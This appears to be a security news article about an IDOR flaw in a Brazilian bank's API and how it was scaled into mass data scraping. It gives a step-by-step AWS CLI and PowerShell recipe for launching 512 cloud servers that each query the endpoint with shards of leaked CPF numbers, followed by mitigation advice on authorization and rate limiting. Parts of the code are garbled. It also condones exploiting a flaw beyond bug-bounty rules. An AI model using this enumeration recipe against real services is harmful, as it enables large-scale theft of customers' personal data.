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Introduction
Insecure Direct Object Reference (IDOR) vulnerabilities remain one of the most prevalent and dangerous API security flaws, yet security teams frequently misclassify them as low-impact issues when the attack surface appears limited. The recent case of a Brazilian bank with over 100 million customers demonstrates a critical truth: an IDOR combined with missing rate limiting and access to valid identifier datasets can transform a seemingly “low-risk” vulnerability into a catastrophic data breach capable of exposing the personal information of an entire nation’s banking population.
Learning Objectives
- Understand how IDOR vulnerabilities can be massively scaled using cloud infrastructure and automation
- Learn to identify the combination of factors that elevate a low-severity IDOR to critical impact
- Master the technical implementation of distributed enumeration using AWS CLI and parallel computing
- Develop skills in crafting compelling proof-of-concept demonstrations that force security team action
- Implement proper rate limiting, authorization controls, and monitoring to prevent similar attacks
You Should Know
- The IDOR Scaling Equation: Why Single-Request Testing Fails
The vulnerability discovered was deceptively simple: an authenticated GET endpoint at `/dados-pessoais/cpf/{cpf}` returned full personal data for any customer whose CPF (Brazilian tax ID) was provided in the URL path. When logged into their own account, an attacker could simply replace their own CPF with any other valid number and receive that person’s complete profile.
A superficial risk assessment would conclude this is low-impact—after all, an attacker needs to know valid CPF numbers, and brute-forcing all 100 million possibilities sequentially would take an eternity. However, this analysis ignores three critical factors:
First, massive data leaks have exposed over 200 million valid Brazilian CPFs across the internet. Attackers don’t need to guess—they can leverage existing breach datasets. Second, the bank’s API had no rate limiting or 429 status code protections, allowing unrestricted request volumes. Third, and most critically, the attacker had access to AWS infrastructure capable of spawning 512 independent servers simultaneously.
The combination transforms a P3-level IDOR into a critical vulnerability capable of exfiltrating data from millions of customers in under 30 minutes.
2. Distributed Enumeration Architecture: 512 Servers, 30 Minutes
The core innovation in this attack was the distributed architecture design. Rather than brute-forcing sequentially from a single machine, the attacker divided the 200 million CPF list into 512 shards, with each server processing approximately 390,625 CPFs.
Total CPFs: 200,000,000 Servers: 512 CPFs per server: 200,000,000 / 512 = 390,625 Requests per second (estimated per server): ~1,500 Total requests per second: 512 1,500 = 768,000 Time to complete: 200,000,000 / 768,000 ≈ 260 seconds (4.3 minutes theoretical)
In practice, the attack achieved over 15 million CPF consultations in 30 minutes before the bank’s infrastructure began failing under the load. This demonstrates that with sufficient parallelization, even massive enumeration becomes feasible within a practical window.
3. AWS CLI Automation for Mass Parallelization
The attacker automated the entire infrastructure deployment using AWS CLI. Below is a step-by-step guide to the techniques employed:
Step 1: Configure AWS CLI Environment
Install and configure AWS CLI aws configure Enter: AWS Access Key ID, Secret Access Key, Default region, Output format Verify configuration aws sts get-caller-identity
Step 2: Prepare the CPF Dataset and Sharding Logic
Split the CPF list into 512 shards split -l 390625 cpf_list.txt shard_ This creates shard_aa, shard_ab, ... up to shard_512
Step 3: Launch EC2 Instances with User Data Scripts
Launch instances with a startup script that processes assigned shard
for i in {1..512}; do
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t3.medium \
--count 1 \
--user-data "!/bin/bash
Download shard from S3
aws s3 cp s3://bucket/shard_$i /tmp/shard.txt
Execute enumeration against target API
while read cpf; do
curl -s -H 'Authorization: Bearer $TOKEN' \
'https://api.bank.com/dados-pessoais/cpf/$cpf'
done < /tmp/shard.txt"
done
Step 4: Monitor and Collect Results
Stream logs from all instances aws logs tail /aws/ec2/enumeration --follow Terminate instances after completion aws ec2 terminate-instances --instance-ids $(aws ec2 describe-instances \ --filters "Name=tag:Name,Values=enumeration" \ --query 'Reservations[].Instances[].InstanceId' --output text)
For Windows environments using AWS Tools for PowerShell:
Launch instances from PowerShell
$instanceIds = @()
1..512 | ForEach-Object {
$result = New-EC2Instance -ImageId "ami-0abcdef1234567890" `
-InstanceType "t3.medium" `
-MinCount 1 -MaxCount 1 `
-UserData (Get-Content -Path "userdata.ps1" -Raw)
$instanceIds += $result.Instances[bash].InstanceId
}
- The Critical Missing Controls: Rate Limiting and Monitoring
The bank’s security posture failed on multiple fronts:
No Rate Limiting: The absence of HTTP 429 responses allowed unlimited requests from any source. Standard API gateway configurations should enforce per-IP and per-user rate limits.
No Anomaly Detection: The unusual traffic pattern—hundreds of thousands of requests per minute to a single endpoint—should have triggered automated alerts long before infrastructure degradation occurred.
No Authorization Validation: The core issue remains that the API endpoint failed to verify that the authenticated user had permission to access the requested CPF’s data. A proper implementation would compare the authenticated user’s identity against the requested resource owner.
5. Building a Proper IDOR Mitigation Strategy
Implementation Checklist:
- Enforce Object-Level Authorization: Every endpoint that accesses a resource by identifier must verify that the authenticated principal owns or has permission to access that specific resource.
-
Implement Rate Limiting: Configure API gateways to return 429 Too Many Requests when thresholds are exceeded.
Nginx rate limiting example
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
location /api/ {
limit_req zone=api burst=20 nodelay;
proxy_pass http://backend;
}
- Use Indirect Object References: Instead of exposing direct database identifiers (CPF numbers), use opaque tokens or UUIDs that cannot be guessed or enumerated.
-
Monitor for Enumeration Patterns: Implement detection for rapid sequential or patterned requests to the same endpoint.
Redis-based rate limiter example
import redis
r = redis.Redis()
def check_rate_limit(user_id, endpoint):
key = f"rate:{user_id}:{endpoint}"
current = r.incr(key)
r.expire(key, 60)
if current > 100: 100 requests per minute
return False
return True
- Deploy WAF Rules: Web Application Firewalls can detect and block enumeration attempts by identifying patterns in request parameters.
6. Responsible Disclosure vs. Active Exploitation
The ethical dilemma in this case highlights a fundamental tension in bug bounty programs. The attacker knowingly violated program rules by actively exploiting the vulnerability to demonstrate impact. However, the alternative—allowing a critical vulnerability to remain unpatched at P3 classification—would have exposed millions of customers to potential malicious actors.
Lessons for Security Teams:
- Prioritize IDOR reports with context: An IDOR that appears low-impact may become critical when combined with other factors (rate limiting absence, valid identifier availability, computational resources).
-
Establish clear escalation paths: Critical reports should never remain untriaged for 1-2 days. Implement automated SLAs for vulnerability response.
-
Consider impact multipliers: When evaluating IDOR severity, consider the full attack chain—not just the isolated vulnerability.
What Undercode Say:
-
Impact is contextual, not absolute: An IDOR vulnerability’s severity depends entirely on the broader attack surface—available identifiers, rate limiting, infrastructure scale, and the value of the exposed data. Security teams must evaluate vulnerabilities in their full context.
-
Proof-of-concept must prove impact: When security teams dismiss vulnerabilities as low-priority, researchers may be forced to demonstrate real-world impact, even if it means bending program rules. This creates an adversarial dynamic that benefits no one. Programs should incentivize responsible impact demonstration without punishment.
Expected Output:
The attack demonstrated that a single misconfigured API endpoint, when combined with cloud-scale infrastructure and accessible datasets, can expose the personal data of tens of millions of individuals in under an hour. The bank’s infrastructure collapse at 15 million requests—before the attack could complete—revealed the fragility of systems designed without adequate rate limiting or anomaly detection.
Prediction:
- +1 The bug bounty community will increasingly adopt “impact-driven” reporting that includes PoC scripts demonstrating scalable exploitation, forcing security teams to reevaluate severity classifications.
- +1 API security tools will evolve to include “enumeration risk” scoring that factors in identifier predictability, rate limiting presence, and dataset availability.
- -1 Financial institutions will face increased regulatory scrutiny over API security practices, with potential fines for organizations that fail to implement basic rate limiting and authorization controls.
- -1 Attackers will weaponize this technique against other institutions, using cloud infrastructure to perform large-scale data enumeration before detection systems can respond.
- +1 The incident will accelerate adoption of zero-trust API architectures where every request is authenticated and authorized, regardless of the endpoint or identifier used.
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IT/Security Reporter URL:
Reported By: Alexandre Wada – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
